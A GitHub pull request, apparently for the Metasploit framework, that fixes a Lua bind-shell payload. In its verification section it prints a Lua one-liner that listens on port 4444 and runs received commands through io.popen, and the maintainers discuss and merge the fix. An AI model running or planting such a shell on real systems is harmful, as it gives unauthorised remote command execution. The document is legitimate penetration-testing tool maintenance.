Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

fix bind_lua #12823

Merged
merged 2 commits into from Jan 16, 2020
Merged

fix bind_lua #12823

merged 2 commits into from Jan 16, 2020

Conversation

L-codes
Copy link
Contributor

@L-codes L-codes commented Jan 14, 2020

fix bind_lua

Verification

root@kali:~# lua -e "local s=require('socket');local s=assert(socket.bind('*',4444));local c=s:accept();while true do local r,x=c:receive();local f=assert(io.popen(r,'r'));local b=assert(f:read('*a'));c:send(b);end;c:close();f:close();"
lua: (command line):1: attempt to index a nil value (global 'socket')
stack traceback:
        (command line):1: in main chunk
        [C]: in ?

@bcoles
Copy link
Contributor

bcoles commented Jan 14, 2020

Is this due to a change in the Lua language between different Lua versions? Or has this payload always been broken?

@L-codes
Copy link
Contributor Author

L-codes commented Jan 14, 2020

Is this due to a change in the Lua language between different Lua versions? Or has this payload always been broken?

Not sure, my lua version is 5.1 and 5.3.
But lua should use s

@acammack-r7
Copy link
Contributor

Yeah, this looks right to me. I don't know how the old versions worked, if they ever did.

@acammack-r7 acammack-r7 self-assigned this Jan 16, 2020
acammack-r7 added a commit that referenced this pull request Jan 16, 2020
@acammack-r7 acammack-r7 merged commit 58a3f88 into rapid7:master Jan 16, 2020
@acammack-r7
Copy link
Contributor

acammack-r7 commented Jan 16, 2020

Release Notes

Bind payloads for Windows and *nix using the Lua scripting language no longer reference an undefined variable.

msjenkins-r7 pushed a commit that referenced this pull request Jan 16, 2020
@tperry-r7 tperry-r7 added the rn-fix release notes fix label Feb 4, 2020
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug payload rn-fix release notes fix
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

4 participants